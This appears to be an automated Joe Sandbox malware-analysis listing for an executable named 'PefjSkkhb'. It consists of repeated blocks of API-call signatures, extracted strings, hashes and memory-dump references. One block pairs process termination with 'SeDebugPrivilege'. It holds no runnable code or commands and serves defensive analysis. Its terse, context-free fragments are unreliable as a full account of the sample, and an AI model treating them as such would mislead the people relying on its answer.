                                                                                                                                                                            • API String ID: 3215553584-2617248754
                                                                                                                                                                            • Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
                                                                                                                                                                            • Instruction ID: 5d44fa8c499ff4f6f60332afb24c3b8bb7420c7af787447063a758b5218a7c8e
                                                                                                                                                                            • Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
                                                                                                                                                                            • Instruction Fuzzy Hash: FD41AC36A0AB4589F760CF25E8517AE37A4FB09BD8F404176EE5C87B98EE38D025C340
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Error$Mode$DiskFreeLastSpace
                                                                                                                                                                            • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                                                                                                                            • API String ID: 4194297153-14809454
                                                                                                                                                                            • Opcode ID: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
                                                                                                                                                                            • Instruction ID: abcb5c1be4cd677b23b0b92b92492a504f42a9fdc48a1b2bca25a8e8009183cb
                                                                                                                                                                            • Opcode Fuzzy Hash: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
                                                                                                                                                                            • Instruction Fuzzy Hash: 85414D76A08A4699EB20DF2AD4801AC3771FF89BD9F598472DA0D83769DF38E595C300
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: HandleLoadMessageModuleStringwprintf
                                                                                                                                                                            • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                                                                                                                                            • API String ID: 4007322891-4153970271
                                                                                                                                                                            • Opcode ID: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
                                                                                                                                                                            • Instruction ID: f01db49ebea25da06c3b0eaf813e92f1442f869800d84f1b669c8077d4f54183
                                                                                                                                                                            • Opcode Fuzzy Hash: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
                                                                                                                                                                            • Instruction Fuzzy Hash: EC314F36A18A82D5DB20EF25E4855AD6361FF85BC4F804072EA4D8779DDF7CE605C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$CtrlParent$ClassName
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 2573188126-1403004172
                                                                                                                                                                            • Opcode ID: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
                                                                                                                                                                            • Instruction ID: b5b50800a3a2621177178303678a37d1f57cd4db67c0ec14d33cb3e40d64d6d3
                                                                                                                                                                            • Opcode Fuzzy Hash: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
                                                                                                                                                                            • Instruction Fuzzy Hash: 5431A639B09A4181EB20AF11E8551B96361FF8AFE0F4442B1DEAD877D9CE2CE5059740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$CtrlParent$ClassName
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 2573188126-1403004172
                                                                                                                                                                            • Opcode ID: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
                                                                                                                                                                            • Instruction ID: e9b77a8e16d185f99e1cc84894393cff6bdb4b0794081bf9604420a47620dacb
                                                                                                                                                                            • Opcode Fuzzy Hash: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
                                                                                                                                                                            • Instruction Fuzzy Hash: 2431E439B09B8182EB30AF51E8551B96361FF8AFE0F4441B1DE9D8379ADE2CE505C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2156557900-0
                                                                                                                                                                            • Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
                                                                                                                                                                            • Instruction ID: b32e79f95b7b81f6210c2056b32c897fbd50c799a9a4b478fd6c525315016197
                                                                                                                                                                            • Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
                                                                                                                                                                            • Instruction Fuzzy Hash: F2310939B08603CBE7749F25A89463973A1EF49BD0F5551B8CD0ECB658DE3DF8898600
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Virtual$MessagePostSleepThread$AttachCurrentInputProcessWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 685491774-0
                                                                                                                                                                            • Opcode ID: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
                                                                                                                                                                            • Instruction ID: 0a63945788a312ba7b5d91bfaea6f8a657abc7d77349ca6de714c25b48c15159
                                                                                                                                                                            • Opcode Fuzzy Hash: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
                                                                                                                                                                            • Instruction Fuzzy Hash: C011A239B0460282F724AF66A89897D2661EFCEFC0F415079C91ECBB58DE3DE0548340
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                                                                                                                            • API String ID: 0-1603158881
                                                                                                                                                                            • Opcode ID: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
                                                                                                                                                                            • Instruction ID: d40b116287fa6cf4a4d8a95b5cd14060b1a07301559f12c3d2f1a8ea7f150d19
                                                                                                                                                                            • Opcode Fuzzy Hash: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
                                                                                                                                                                            • Instruction Fuzzy Hash: 4D12C172B1864399FA7CAF21C8453F962E1EF56BE4F844571DB1DC6698EF3CE5418200
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Variant$Init$Clear
                                                                                                                                                                            • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
                                                                                                                                                                            • API String ID: 3467423407-1765764032
                                                                                                                                                                            • Opcode ID: a0470de27205f542ebe67e6bc39c13d5e7d83ba962feb8b7bffed10a95e69b5b
                                                                                                                                                                            • Instruction ID: baf95d236fbe32a743d674b7ee620ce3ac71615cbb54c59435216158f48e6cd3
                                                                                                                                                                            • Opcode Fuzzy Hash: a0470de27205f542ebe67e6bc39c13d5e7d83ba962feb8b7bffed10a95e69b5b
                                                                                                                                                                            • Instruction Fuzzy Hash: 45A19777A08B4296EB209F66E4406AD77A1FB8ABD8F440172DE4D83B58DF3CE145C744
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$Window$CreateObjectStockwcscat
                                                                                                                                                                            • String ID: -----$SysListView32
                                                                                                                                                                            • API String ID: 2361508679-3975388722
                                                                                                                                                                            • Opcode ID: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
                                                                                                                                                                            • Instruction ID: a8678853114baf68660a3f0de8928cf78a0fd1c0a1185e811f780431af68b272
                                                                                                                                                                            • Opcode Fuzzy Hash: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
                                                                                                                                                                            • Instruction Fuzzy Hash: 6451AD36A047818AE730DF25E8446E933A5FB89788F40017AEE5D87B59CF39DA94CB40
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClassMessageNameParentSend_invalid_parameter_noinfo
                                                                                                                                                                            • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                                                                                                            • API String ID: 2019164449-3381328864
                                                                                                                                                                            • Opcode ID: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
                                                                                                                                                                            • Instruction ID: b411712575d8a6fc4dfdeee31a26d9b2b9310852af58812f5277ab6898238708
                                                                                                                                                                            • Opcode Fuzzy Hash: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
                                                                                                                                                                            • Instruction Fuzzy Hash: 7C210935E1C503C0EB70AB15E9956B922A1EF86FD9F4080B6DA0DC7699EE2CE1168700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FreeString$FileFromLibraryModuleNamePathQueryType
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1903627254-0
                                                                                                                                                                            • Opcode ID: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
                                                                                                                                                                            • Instruction ID: cd66328bc007151885d2fd00ccc4168c74721ebefd991acc0d18af67a35b0008
                                                                                                                                                                            • Opcode Fuzzy Hash: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
                                                                                                                                                                            • Instruction Fuzzy Hash: AE024A73A08A8286DB60DF29D4841AD67A0FB86FD8F504172EF4E87B68DF78D549C704
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3210457359-0
                                                                                                                                                                            • Opcode ID: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
                                                                                                                                                                            • Instruction ID: 0206fbd36db36f4518f46a20da08ef8fbda26ddf4d5760352261f08a080f960f
                                                                                                                                                                            • Opcode Fuzzy Hash: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
                                                                                                                                                                            • Instruction Fuzzy Hash: 31617E35A0864B86FB349F25D4417BA2661EF82BE4F1141F1DA1D837DDCE7DE841A780
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1957940570-0
                                                                                                                                                                            • Opcode ID: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
                                                                                                                                                                            • Instruction ID: 36e555175b4d8bb126d605c7fb36499e153acc345a331920ee34f2fd7d5ab51d
                                                                                                                                                                            • Opcode Fuzzy Hash: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
                                                                                                                                                                            • Instruction Fuzzy Hash: 77213C76519B4192E720DF52E448369BBA0FB8AFDAF044165DA9D43B58CF7CD1488700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                                                                                                                                            • String ID: SeDebugPrivilege
                                                                                                                                                                            • API String ID: 2533919879-2896544425
                                                                                                                                                                            • Opcode ID: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
                                                                                                                                                                            • Instruction ID: 945612a05863ce4da5fab1f190e7e6dbb2b412d3c3a4574ed2a615d01d8929ec
                                                                                                                                                                            • Opcode Fuzzy Hash: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
                                                                                                                                                                            • Instruction Fuzzy Hash: 31518E72A0868286EB20EF65D09037C7B60FF86BC5F4684B1D60EC769ADF7CE5158B04
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Menu$Item$CountCreateInfoInsertPopup
                                                                                                                                                                            • String ID: 2$P
                                                                                                                                                                            • API String ID: 93392585-1110268094
                                                                                                                                                                            • Opcode ID: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
                                                                                                                                                                            • Instruction ID: f121938afba670316741637771819e6d3f70e7e069e45fde9cf642b2e72dd24d
                                                                                                                                                                            • Opcode Fuzzy Hash: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
                                                                                                                                                                            • Instruction Fuzzy Hash: D951CC32E08A8289F7709F65E4813BD7BA5FB42BD8F244175DE5A93698DF39E4818700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$LongMessageSend$Show
                                                                                                                                                                            • String ID: '
                                                                                                                                                                            • API String ID: 257662517-1997036262
                                                                                                                                                                            • Opcode ID: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
                                                                                                                                                                            • Instruction ID: 79834b115861238a2edff42a10548b5e000ac84168ac0437a93f1274352a40a2
                                                                                                                                                                            • Opcode Fuzzy Hash: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
                                                                                                                                                                            • Instruction Fuzzy Hash: 5F51E236A0864A86F3719F26A454A7D2761EF86FD0F5441B2CE5E83798CE3DE8429340
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
